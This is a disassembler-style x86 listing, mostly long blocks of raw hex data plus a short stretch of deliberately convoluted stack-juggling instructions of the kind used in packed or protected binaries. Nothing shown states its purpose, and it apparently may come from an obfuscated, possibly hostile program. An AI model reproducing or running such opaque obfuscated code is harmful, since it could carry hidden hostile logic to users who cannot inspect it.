		dd 160424h, 57470000h, 621D7FC3h, 749BD29h, 0D0FF05E8h
		dd 80E18A60h, 0E96154F3h, 8Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 7FC35646h, 0C25946AAh, 7E936h
		dd 0C00B0000h, 0A7090291h, 245C8B65h, 0E8550Ch,	5D000000h
		dd 923EED81h, 858B05EBh, 5E82559h, 0CA98589h, 858B05E8h
		dd 5E80FDDh, 19BD8589h,	858B05E8h, 5E810ADh, 14558589h
		dd 85C605E8h, 5E82015h,	8485C700h, 5EB7Ch, 8D000000h, 0EB929685h
		dd 0B8838905h, 5D000000h, 89C3C033h, 0E803198Dh, 8D8D2905h
		dd 0BC05E81Fh, 12FF74h,	9E9h, 0EA3A5E00h, 6063B42Ah, 8F6404A2h
		dd 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D89D773h, 5E83329h, 6DB52B60h, 0E905E802h
		dd 9, 0A5340DFh, 6D22E85Fh, 0C4836186h,	85336004h, 5E82E8Dh
		dd 83E96161h, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h
		dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h
		dd 57h,	3785B8Bh, 8B1C245Ch, 74032473h,	8B561C24h, 738B207Bh
		dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh,	178B1C24h
		dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h
		dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h
		dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 8E8h
		dd 0B68AEB00h, 0C8D8BB36h, 0AE85879h, 96000000h, 2AC19683h
		dd 0CAAC9E59h, 8B666058h, 815961D8h, 6290C0h, 14E800h
		dd 928A0000h, 0EF6BEC7Ch, 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h
		dd 0FB8B8356h, 0F9DB3359h, 0E918348Bh, 5, 0DD2BF933h, 0B1EE8120h
		dd 0F66850Bh, 0EE81F9B7h, 2AE9A30Fh, 0C346C981h, 0C68178CDh
		dd 34A2D1D7h, 0EE9h, 0BB2CE00h,	9722FA60h, 5E928C5Ah, 567649B8h
		dd 0E46BA66h, 5218048Fh, 5959F852h, 0A113BF66h,	0EFD9EB81h
		dd 13E941BAh, 93000000h, 634EC9A1h, 6111B302h, 6AEFB476h
		dd 1037EBBEh, 0C3816FC9h, 41BAEFD5h, 0CA8B6660h, 8161FD8Ah
		dd 0FF9E44FBh, 7D850FFFh, 0E8FFFFFFh, 0Ah, 53F76E41h, 864DB613h
		dd 5950C001h, 5E859h, 99740000h, 80B48549h, 8B5E76C8h
		dd 0DCC681C2h, 8000005Fh, 0DB2BD1C1h, 8BC0BF0Fh, 850F1E14h
		dd 3, 81CB8B66h, 698193EAh, 0CE94Bh, 0C3A70000h, 2614354Eh
		dd 83157B80h, 0C281B31Fh, 59FA1604h, 4136CF81h,	0F28146FEh
		dd 983EB2Eh, 0BE9h, 52F8D000h, 2EA6FC2Bh, 8B919F6h, 601E1489h
		dd 5E9h, 24960C00h, 9E91E16h, 24000000h, 92B8816Ch, 923EC072h
		dd 0BF0F6061h, 68A0FD0h, 81000000h, 5417C1EFh, 0EB836128h
		dd 38E0F01h, 80000000h,	4B4B10E8h, 81CB8B4Bh, 0FFA0D8FBh
		dd 70850FFFh, 0E9FFFFFFh, 0Ah, 9CF0A57Eh, 12D7EB1Eh, 0E5E9DB38h
		dd 10000000h, 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h
		dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h
		dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh
		dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh
		dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h
		dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh,	0E0A1Eh
		dd 0A766C1A8h, 43F2FD54h, 17EC0EB4h, 0CCDE9h, 98CD6800h
		dd 8FE905EBh, 68FFFCE8h, 5EB99EFh, 0FCE885E9h, 9ABD68FFh
		dd 7BE905EBh, 68FFFCE8h, 5EB9BADh, 0FCE871E9h, 9C3468FFh
		dd 67E905EBh, 68FFFCE8h, 5EB9CBBh, 0FCE85DE9h, 9E0068FFh
		dd 53E905EBh, 68FFFCE8h, 5EB9F17h, 0FCE849E9h, 9FE468FFh
		dd 3FE905EBh, 68FFFCE8h, 5EBA0A5h, 0FCE835E9h, 0A14168FFh
		dd 2BE905EBh, 42FFFCE8h, 0C234D5CFh, 46B85943h,	0CB3DDECEh
		dd 52C46549h, 8645E6DEh, 0A91D15D6h, 2B919608h,	0B11F188Ah
		dd 34A89E10h, 0A6412F93h, 0A2B3CDF2h, 503520E2h, 857369DEh
		dd 0C83836EAh, 5AB81E9Ch, 0A77E62E8h, 0DCCA3E35h, 0A604E86Ah
		dd 0C2BF17CFh, 49EADE54h, 0C1C5085Bh, 91F0740Bh, 0A45408A3h
		dd 0DE449CC8h, 3A61A080h, 7676B14Ch, 1E8496E0h,	6B5FD547h
		dd 0E189DCCAh, 0C32131F6h, 33180B5Eh, 77E1DA48h, 3DA1A719h
		dd 6858DD4Fh, 0C59C02EEh, 14EBD353h, 13EA48AEh,	0B093C178h
		dd 2F52AAA2h, 90B7D6Bh,	0CD68CEA5h, 0A2B09419h,	0CB3D9B01h
		dd 0D2C06145h, 939549E4h, 58FAA2B0h, 34F12845h,	80DE440Ch
		dd 0CDA4180Eh, 1AF1D55Bh, 888EF34Bh, 9F7D1E82h,	0F6AA851h
		dd 59B15h, 46CC2A00h, 1D2F9D75h, 9C922161h, 85EB5128h
		dd 50D6481Fh, 0F5907E6Ch, 9CC8D541h, 0C465C329h, 907EA5E4h
		dd 0C53B30A2h, 0A69DCC67h, 2A7D96E0h, 0F0765B0Bh, 7CCF350Ch
		dd 0A60CCC91h, 707C34CFh, 2B83A2B0h, 2B065456h,	73CA0F6Ah
		dd 0DF000000h, 66EC1F5Eh, 1B39DB95h, 0D2380F3Fh, 412F95FBh
		dd 0E07F57A6h, 6E09F796h, 0A2B0AFBAh, 0F0DE44AAh, 3E15877Eh
		dd 0FBE166D8h, 8960BE24h, 65F6489Bh, 9E4B5F9Eh,	2D6115B0h
		dd 0E349A2B1h, 2D32EA85h, 0FD78A2B1h, 4FC6380Fh, 0AE20865Dh
		dd 9E6D44B8h, 36E73B46h, 0BBF5A48h, 0FBA2B12Dh,	0BF8C51A8h
		dd 73D980A4h, 0E6C4BD15h, 0F6A3498h, 1115Ch, 46CC7100h
		dd 0AF9D8B62h, 0C8386014h, 84E2489Ch, 0CFA61E12h, 1CF3D75Dh
		dd 9F40A4AAh, 7428C3B1h, 0BA9CC838h, 268C54B8h,	34862DC8h
		dd 0FC6E9CC8h, 48BA9177h, 0A309E0CCh, 0E76DDF3Dh, 0AFA31503h
		dd 0C638D937h, 0E8D45040h, 3910FC76h, 2C7F6DD3h, 59DD208Fh
		dd 9E060A55h, 2303DA38h, 0E1CFBDE4h, 0A705F96Fh, 0E0D6710Ch
		dd 0B7B12396h, 0BF25ED4Bh, 59F67ED1h, 0E4E4A91Ah, 0C605E586h
		dd 50279F93h, 9B726ADEh, 7B69CF35h, 0C5C812E0h,	0EFC629Ch
		dd 27D18520h, 1B0F9CCBh, 9E66CCA3h, 5BC1272Ch, 959D0FFDh
		dd 86F04331h, 8A160E86h, 0D648E947h, 48206A52h,	64F1CD6Dh
		dd 962D98Dh, 90990000h,	1C198B2Ch, 999D0FB0h, 20229435h
		dd 0A1A91BBCh, 1DD9C3Dh, 5F00E46Ch, 0E18266EDh,	6708F46Fh
		dd 0EA8B7FF5h, 49FD9886h, 31A2B3D0h, 44CC846Fh,	5A01A573h
		dd 0C8B30BBFh, 4295FB9Ch, 0D82B7012h, 0D8D72D89h, 0CE6FD51Dh
		dd 6DE6D65Ch, 0DC42A87Fh, 6250503Bh, 0C83813C7h, 9791039Ch
		dd 8767C52Bh, 45332148h, 7B695DD3h, 0C8382CE0h,	58B61C9Ch
		dd 0E00C6EBDh, 0CFA60C96h, 0B0437C34h, 562B83A2h, 6A020654h
		dd 7DF3650Fh, 0CAA22B89h, 0B4000000h, 0EDDBC142h, 0B0369E52h
		dd 0C22086A2h, 6246CCD7h, 0AD11198Bh, 8236D1BFh, 729CC838h
		dd 3CD7AE0Ch, 9CC83495h, 22D6715Fh, 689CC83Bh, 0D33901EFh
		dd 0AC0D0375h, 0D05C570Ch, 151B8D3Ah, 0E74DAB1h, 38B8AE20h
		dd 956CD23Eh, 0BE30D12Fh, 8F7D5448h, 912C181Dh,	9CC8CCDDh
		dd 2A0167CDh, 0C89371C4h, 85C9F8E3h, 0E1084727h, 7BBD58F3h
		dd 177D96E0h, 30579676h, 0F5ACA742h, 64CA9CCAh,	980C0476h
		dd 198D85F7h, 0CDB8EDCFh, 92461DF1h, 840h, 0AD4EB6BBh
		dd 31D23A3Bh, 0B65747BFh, 3DDEC244h, 0BE5F47CBh, 9A8E5FFFh
		dd 180F8122h, 969103A4h, 1117892Ah, 0BAA80CADh,	0B3D16B1Fh
		dd 0AE995BA2h, 0BF6044CCh, 42E3C74Dh, 6246CC57h, 0AF13198Bh
		dd 0BAAE200Eh, 0D894E442h, 796DE557h, 0FEDE3CA2h, 0FAA98BFh
		dd 96E0188Ch, 5D43C83Ah, 50E27DF7h, 0ECA568C4h,	0AA9886ADh
		dd 6C97A57h, 0BD58E525h, 97E89109h, 3F2D8BF1h, 14C86351h
		dd 497E891h, 96A5409Eh,	1E920064h, 6E45ABACh, 2A929608h
		dd 0C78FED53h, 6BAA8A61h, 0D3BB5644h, 9D95A611h, 1B098D4Ah
		dd 17756638h, 89FBE94Fh, 48FC9783h, 0A97EC12h, 0EC11BB6Fh
		dd 7D45AB97h, 9E10B117h, 6EA34A8h, 42ECEED1h, 772B76Bh
		dd 80890000h, 0C097B1Ch, 898DFFA0h, 10128425h, 91990BACh
		dd 11CD8C2Dh, 4FF0D45Ch, 0D17256DDh, 57F8E45Fh,	0DA7B6FE5h
		dd 39ED8876h, 21A2B3D2h, 46CC745Fh, 0D027462h, 0FC5AC097h
		dd 0DF064525h, 0AF356F1h, 0BD2396E0h, 0D6FD3C1Ch, 710CFAE8h
		dd 0A2B043BDh, 0F8AC47ADh, 0E0A2B043h, 932E1C7Ah, 9CC58DEEh
		dd 71C4B218h, 255ABA5Ah, 140260B8h, 4A38ACA2h, 7E66EA5Ch
		dd 0CB5C2FE3h, 0A256F19Ch, 929CCB5Bh, 0A0FE642Ch, 23878DFFh
		dd 0F8AC4735h, 369CCB5Bh, 0B205CD3Fh, 0D1A78F69h, 6AC82E63h
		dd 7B52A593h, 5757355Ah, 17563694h, 0A21402F0h,	0FA6037ADh
		dd 5463019Ch, 0E15396E1h, 6BEC8869h, 3BEDCE34h,	3298FED5h
		dd 6FE45644h, 0A3A91B79h, 262C9E3Fh, 774EBEB6h,	0F4D4AB11h
		dd 5A08EB5h, 9CC93A7Eh,	0EE9CE64Ch, 0FEF1CB58h,	6827327h
		dd 0F0790000h, 7CF96B0Ch, 0F97DEF90h, 27415h, 8189FB9Ch
		dd 0E1BD7C1Dh, 3FE0C44Ch, 0C16246CDh, 47E8D44Fh, 0CA6B5FD5h
		dd 29DD7866h, 11A2B3D3h, 6250644Fh, 0C83813C7h,	0EDD1599Ch
		dd 577AD225h, 0AB717236h, 0C807E745h, 8218B3A1h, 7296DE50h
		dd 0A6AC1E0Ch, 41B3A142h, 99FFD6CAh, 61BF2F27h,	0AE8579EFh
		dd 0EDF76DC0h, 4A7235A7h, 0A6CD0CECh, 0F9BA1DB8h, 48BA9CCBh
		dd 0BA82E0CCh, 0D94A0A54h, 9F76F1CEh, 5FBEBh, 93090000h
		dd 178580F2h, 9C000476h, 238F89FBh, 0A4181082h,	0D3984403h
		dd 54C6675Fh, 0D648E9DFh, 5CCE6F5Dh, 0ED51F2D6h, 0D3B064FFh
		dd 0D698A2B3h, 0F81F5EEBh, 81CA6F0Ah, 0D63C96DDh, 2FD795E8h
		dd 55DC2C67h, 2785EBDFh, 5D41C739h, 967AFD6Fh, 5AFB59BFh
		dd 0A77E62E8h, 736188C7h, 0C8CB3AD8h, 0A694FA9Ch, 29CA3E34h
		dd 5F43C93Bh, 25998F01h, 82F6E4Eh, 0C4F87F1Ah, 60C696E1h
		dd 0B3E44C16h, 1B58CF7h, 574h, 791A8287h, 0FD9E0E07h, 82238B8Bh
		dd 9AA1610h, 8A2B9397h,	0D65A13CBh, 54DB4DEEh, 0DA5DCF70h
		dd 6DE355F6h, 8674D879h, 0B3D437EBh, 725D1FA2h,	746246CCh
		dd 3837EB86h, 0F0759CC8h, 80DE440Ch, 0E03137A9h, 9BF87898h
		dd 0CF70D6ECh, 109CB0EFh, 726F60B0h, 0D0BEAC12h, 0C8428135h
		dd 0A503699Ch, 13ED1CB7h, 67CD96E0h, 3C3DF590h,	8083A2B0h
		dd 5FD3451Ch, 8EF4D85Bh, 0EE93EBB7h, 562B8334h,	69F70654h
		dd 47CA0Fh, 5EDF0000h, 1C0AF81Fh, 37DF932Eh, 61C79CC8h
		dd 0C196803h, 0D33996E0h, 42A961FCh, 79EFA2B0h,	3A3CAE85h
		dd 53ACFFD6h, 5766C130h, 1E63BB1Bh, 77655304h, 0B0E528DCh
		dd 4CAA10A2h, 0CF1D8DF4h, 930F6AA4h, 0C1h, 0D6FD50A8h
		dd 0AF0CE6A7h, 0FB71E341h, 4ABE3007h, 3097B52h,	87DAC89Fh
		dd 0CDF61FEAh, 0D94EC05Ah, 1D1385E3h, 0C66D08A9h, 2E9CC8E9h
		dd 0ECF1A540h, 73D99CC8h, 39ADA315h, 0BC202698h, 0F66EE0CEh
		dd 0ECB76B06h, 399F9CC8h, 0E52404DBh, 9635D0BEh, 8496E0D2h
		dd 5E9D7D1Eh, 4BAE4937h, 3B9CC61Dh, 0FD75E7D5h,	72F66809h
		dd 0FCB4408Ah, 0E9C0F1CCh, 42F35h, 5F45CC00h, 0E3C94CBEh
		dd 6854D042h, 0EFD355C7h, 7054DC4Eh, 9F4C10CFh,	209233ABh
		dd 0A214B52Bh, 289A3BA1h, 0B91DBE22h, 0D67C30CBh, 0AA6CA2B3h
		dd 6044CCBFh, 0E3C74DBFh, 61E25442h, 971F598Eh,	0E74F97Bh
		dd 5E42C537h, 5DBB2187h, 0F81F5E72h, 0A5AA1C0Ah, 6702683Fh
		dd 9CC837B3h, 0B78E72F9h, 0C5238951h, 0CED3CD7h, 0F56796E0h
		dd 4FB58C70h, 0D5C329F1h, 42984CE7h, 1A80A2B0h,	924AE5BCh
		dd 99A2B042h, 1C6A4041h, 0E00F6A02h, 0D7h, 6246CCF5h, 292B9D8Bh
		dd 7DF567C5h, 7017B289h, 0F49CC834h, 77E98A7Eh,	36EA85F1h
		dd 1E9CC83Bh, 9B7B52B8h, 0C02C295Ch, 2F1D83E9h,	0E01FF594h
		dd 7611FF96h, 0A2B050C2h, 5BDA4CB2h, 0D6349A71h, 2707A80Eh
		dd 0E5D3C1E8h, 0CB078D92h, 0B210A477h, 0CAB25117h, 708CDF9Ch
		dd 0D74FA03Eh, 268C54B2h, 544CC638h, 2684EADEh,	4E42C638h
		dd 0A70DE4D8h, 799A3B54h, 0BD23BA6Eh, 3EA6AA1Ch, 0CD1D5EF4h
		dd 0F3A77EF1h, 318h, 0D5766EE3h, 59FAE263h, 0DE7F6FE7h
		dd 6506EA6Ch, 0E6877FF3h, 0B2B67727h, 3037A94Ah, 0BEB92BCCh
		dd 0C93FB152h, 0E2D034D5h, 0B3D69347h, 0D6C183A2h, 977344CCh
		dd 0F9AD4833h, 0E19CC8BFh, 0E271287Bh, 1385268Ch, 1A08A91Dh
		dd 673EA2A8h, 0CCB8A301h, 198B6246h, 3BA3A313h,	2AE434D5h
		dd 635178B7h, 0E01845C8h, 0F97DEF96h, 3BA3A315h, 35AF15DDh
		dd 0FFC18A9Ah, 0E0135275h, 0E46C64h, 0F75DC39Ah, 73F36E09h
		dd 9D0338BDh, 80A7E6C6h, 0C0FF792h, 99FF3B13h, 0AA2E58ABh
		dd 67CD3676h, 0BB037D14h, 74D2D655h, 20269886h,	0A692E5BCh
		dd 6024F231h, 0E9A8FB61h, 28B077A1h, 171D8FEDh,	0AAA012B3h
		dd 1B44EC36h, 0A98093A9h, 24BF5h, 43B9B000h, 0C73530A2h
		dd 4CB0B426h, 0D33F39ABh, 5448C032h, 8328F4B3h,	476178Fh
		dd 86F8990Fh, 0C7E1F8Dh, 9D01A206h, 0D76014AFh,	8648A2B3h
		dd 6246CC9Bh, 456CAB8Bh, 0E07B6957h, 9CC8382Ch,	0BD58B61Ch
		dd 96E00F32h, 0AB5FFAE8h, 9BA2B040h, 0DE2ECF35h, 557CBB22h
		dd 8E72F567h, 69DF51B7h, 8E291775h, 9CC8210Bh, 40DB55BBh
		dd 59BED184h, 0D36E1D5Ch, 59567F1Fh, 4D3BA107h,	6E52A3B2h
		dd 16ED5353h, 0EB9F3A28h, 0DB562E82h, 0F8371775h, 83F5E3D1h
		dd 57192C8Dh, 5CB52387h, 15FD98F6h, 0DF504486h,	0A274728Ch
		dd 0D9373ACEh, 4BBDAB11h, 0CE40E1C5h, 0A81A6458h, 0B8AE5809h
		dd 18A2DE1h, 0F8710000h, 74F16304h, 0F175E788h,	78FA6C0Dh
		dd 8981F394h, 0E9B57415h, 37D8CC44h, 0B95A4EC5h, 3FE0CC47h
		dd 0C26347CDh, 21D5705Eh, 9A2B3D8h, 46CC5C47h, 6CAB8B62h
		dd 0A9BC5745h, 5196E01Ch, 3FFA4AEBh, 8B3FDAC8h,	7BA2B052h
		dd 98D7B715h, 65E88371h, 359CC833h, 0E6BA55CFh,	6865D566h
		dd 32907CF6h, 0FEEC1352h, 0D2E25463h, 0AE9C024Fh, 77D53B3Ch
		dd 5A81C0A0h, 97E9D16Ch, 0B31953F8h, 0EAD253C5h, 262C9E8Ch
		dd 0B9AF21C2h, 0FBD23E39h, 71E52F95h, 8DAABC97h, 0EE02B6h
		dd 40D0000h, 888DFFA0h,	15118324h, 9C9608A9h, 151D8F30h
		dd 8D5110B1h, 0D37468E0h, 55F6EA61h, 0DB7C60E3h, 5EFFE369h
		dd 0BD710CFAh, 0ADA2B3D8h, 46CC00EBh, 378B3FDAh, 157B9CC8h
		dd 0D64FC1AFh, 9D7458DAh, 0CFAD137h, 0C837BD71h, 0E147AD9Ch
		dd 1885D88Eh, 2E8C0B51h, 5387757h, 5DC39A0Eh, 6B6E09F7h
		dd 0F596E08Ch, 461D8183h, 54BA82E0h, 6D94D3B3h,	0D727E47Fh
		dd 56A99CC5h, 7F349A6Ch, 844CAA84h, 659471Eh, 523ABB16h
		dd 0FB6DCB90h, 7EF09175h, 4F3D1488h, 8579EF61h,	0F9AD48AEh
		dd 379CCB83h, 90F6CD31h, 690462C8h, 82C3B773h, 30E69BF3h
		dd 50B4BA3Ah, 0CAD1379h, 46AAAC1Eh, 0CF076E8h, 5D41C335h
		dd 1F62BA86h, 9D01097Bh, 6347CD3Fh, 12020375h, 0CD17C377h
		dd 0E74DB3AEh, 0AB4CAA10h, 0F8CF3339h, 344h, 8F7A5900h
		dd 885F45CCh, 0D5AC1016h, 25FCE063h, 7148BCB3h,	0BC930BFFh
		dd 7DEC64Ah, 582F9395h,	0A77E6EE6h, 0F5CC3035h
		db 73h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	596Bh
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		push	221F0806h
		pop	ebx
		sub	ebx, 1C337190h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	622Eh
		mov	[esp], edx
		mov	edx, eax
		mov	[ecx+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
dword_57BC00	dd 54B87015h, 305EBA2h,	0FAE0FFC5h, 8E0B5FAFh, 6522FB69h
		dd 67533746h, 0E91CF12Fh, 0E97E60E7h, 148h, 50h, 54h, 58h
		dd 5Ch,	60h, 64h, 68h, 6Ch, 0B0h, 0B4h,	0B8h, 0BCh, 0C0h
		dd 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h
		dd 0E8h, 0ECh, 38h dup(0)
		dd offset dword_57BC00+84h
		dd 0A050EBh, 0A2F7858Dh, 950905EBh, 5E80E3Dh, 0A4378589h
		dd 0CB8B05EBh, 201585C6h, 605405E8h, 2879858Bh,	0C3BF05E8h
		dd 614406B7h, 10D97C68h, 0CE9A5h, 2C750000h, 8E5C5918h
		dd 30DA8AB7h, 3481B06Eh, 72B15524h, 4195894Bh, 0F905E820h
		dd 0CA9B5FFh, 890F05E8h, 2, 858DD88Bh, 5EB7B30h, 0C6BB5260h
		dd 5A08BCF6h, 4213CDBBh, 0D0FF6167h, 14C1B58Bh,	820F05E8h
		dd 1, 3B8589FCh, 6605EBA4h, 6CE9D78Bh, 0E9000000h, 0Ch
		dd 1AFCDF20h, 7FDC06ACh, 0B089833Fh, 37B58B56h,	8905EBA4h
		dd 37858306h, 405EBA4h,	8D60C35Eh, 0EBA2F7B5h, 560FEB05h
		dd 36FF006Ah, 0A43B95FFh, 835E05EBh, 3E8304C6h,	61EC7500h
		dd 8E8C3h, 77400000h, 0C0167EB4h, 0BE66C5F2h, 0E95A0D50h
		dd 13h,	0FC59783Fh, 0FA3B37CCh,	0CF818D6Bh, 0D57C516Dh
		dd 8D83CCC8h, 0EBA4ED85h, 19958B05h, 8905E80Dh,	0E82B5D85h
		dd 75E905h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 2559B5FFh
		dd 858D05E8h, 5EB7B30h,	8589D0FFh, 5E82B31h, 0EFC1FE8Bh
		dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 2B3195FFh, 32E905E8h
		dd 0C6000000h, 0E8201585h, 0DF685605h, 0FFA9C530h, 0E80CA9B5h
		dd 30858D05h, 0FF05EB7Bh, 918589D0h, 8D05E816h,	0E8128185h
		dd 206A5005h, 0FF56056Ah, 0E8169195h, 0C1C36105h, 4BEB06E0h
		dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
		dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
		dd 0CC00A6DBh, 1A004668h, 0D5A3EAh, 9C000000h, 0FEC919h
		dd 0FBFE4700h, 28000000h, 0D427E641h, 0E9C3727Dh, 0D7Fh
		dd 275D958Bh, 0BD8305E8h, 5E810B9h, 19850F00h, 0BA000000h
		dd 28ADFB8Dh, 0B8h, 819D8B00h, 0C205E82Eh, 85010004h, 5E827D1h
		dd 6EB2C08Bh, 0E89BD83h, 750005E8h, 0E9BD8309h,	5E80Bh
		dd 53501374h, 0D0B8C08Bh, 8D000004h, 0EAA7229Dh, 5BD3FF05h
		dd 0E9BD8358h, 5E80Bh, 53501174h, 4D0B8h, 6F9D8D00h, 0FF05EAA6h
		dd 0B1585BD3h, 38F0F2Fh, 0F000000h, 0C08BCFB7h,	0A98DD181h
		dd 858D5F20h, 5EBA60Ah,	5EC6ABAh, 5880F0Ch, 66000000h
		dd 0D2A1EF81h, 5E19B950h, 4892CB2h, 8DD38B24h, 0EBA5C785h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 7D1BEBE2h, 80FD050Bh, 509067C6h,	0FE9h
		dd 2F8A1A00h, 0E39123DAh, 9276575Dh, 70F458B0h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 78BA6669h, 0FFD08B44h, 0E8301195h, 3D958B05h, 8105E80Dh
		dd 76DE2DF1h, 24448B2Eh, 63BB6604h, 0F28589E5h,	6A05EBA5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 3A84C353h, 0A9265FA8h, 0B8F568E1h, 89FA8B66h
		dd 0E82C7D95h, 24448B05h, 0F4DB608h, 1784h, 0FE800h, 76A20000h
		dd 35551A77h, 0CE93FD69h, 0B7F927B4h, 595B560Fh, 0A6068589h
		dd 83F805EBh, 0E82761BDh, 850F0005h, 9Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0B3C35646h, 29D4D92Eh
		dd 0E8295D85h, 0C649B105h, 0E8201585h, 0DE8B4705h, 489FD768h
		dd 0BB665185h, 815BD68Eh, 38052434h, 953151D2h,	5E81675h
		dd 0CA9B5FFh, 6A05E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 8E2D5DC3h, 856EBF56h, 8B0BF953h
		dd 0E806D58Dh, 30858D05h, 3105EB7Bh, 0E828E5BDh, 0E9D0FF05h
		dd 5, 68C60A68h, 61858960h, 8105E827h, 20B051EBh, 0DDBD8311h
		dd 5E829h, 116850Fh, 0C6FC0000h, 0E8201585h, 12E84705h
		dd 5B000000h, 8433DD64h, 89802478h, 0ED00D187h,	0ACF2F15Dh
		dd 3D85299Eh, 5B05E80Ah, 4E8h, 0FB5E200h, 0C8F0F8Ah, 0F000000h
		dd 687h, 8F0F00h, 50000000h, 15860Fh, 850F0000h, 0Fh, 9E8h
		dd 0CE96A600h, 2812E7E1h, 8B596395h, 8B042444h,	870F6000h
		dd 2, 0BB666160h, 89618476h, 66042444h,	58EC0ABFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5CC35242h, 0FF4D796Ch
		dd 28F18137h, 0FF56D7D1h, 0E80CA9B5h, 8D9EB505h, 0EB7B3085h
		dd 41B50105h, 0FF05E81Fh, 858D89D0h, 0E805E80Ch, 0Eh, 5FACC91Fh
		dd 7C6E445Ah, 541EEF28h, 0B966E9A8h, 895B670Ah,	0E829DD85h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 62651B73h, 860E5B6Fh, 0FE91E8Ch,	61000000h
		dd 0C6FA3C99h, 1D12BA58h, 8C0A0E17h, 0FE8BB8A2h, 3141BD83h
		dd 0F0005E8h, 0D585h, 89605000h, 0E822C99Dh, 35B58905h
		dd 6105E823h, 1585C65Bh, 5605E820h, 0DB9B501h, 9E905E8h
		dd 0A000000h, 0CE16D42Ah, 99729561h, 0C6E7BA68h, 66566095h
		dd 615ECF8Bh, 7F240481h, 6A3E5885h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F1D4C356h
		dd 0B5FFDBABh, 5E80CA9h, 0E01BD31h, 858D05E8h, 5EB7B30h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ADC35747h
		dd 0F28B4569h, 99EF79AEh, 0FD0FFFCh, 681h, 0B5BD8900h
		dd 8905E830h, 0E8314185h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0F4D30B83h
		dd 8D2BB30Dh, 5E8136Dh,	1FB59D2Bh, 85C605E8h, 5E82015h
		dd 5595016Ch, 6805E80Dh, 0BD4453F8h, 3481EF8Ah,	41237B24h
		dd 57006A66h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 94F54CECh, 21745830h, 9D890E9Ah,	5E83059h
		dd 2559B5FFh, 8A5105E8h, 666059CBh, 0F835EA81h,	957160BEh
		dd 858D614Fh, 5E838D7h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 58C35545h, 13A17D09h,	60D0FF7Ch, 0FED9D89h
		dd 0DE805E8h, 15000000h, 0DEB19822h, 36200853h,	6807787Dh
		dd 615BDA8Bh, 0A5F68589h, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 12DCEC3h, 0E0AD7D5Dh
		dd 8D31BCDFh, 5E80295h,	6A046Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0C0A977C3h, 59AA680Fh
		dd 0C8B7C5F2h, 56240481h, 93A0DB6h, 0E809FDBDh,	477F6805h
		dd 481A183h, 7DB88124h,	1D958B5Eh, 6A05E800h, 0EE900h
		dd 0AD0A0000h, 90879237h, 3AFF9A68h, 37D13491h,	15A995FFh
		dd 0BF6605E8h, 816602F8h, 8948FAC3h, 0EBA60285h, 0E8CF8B05h
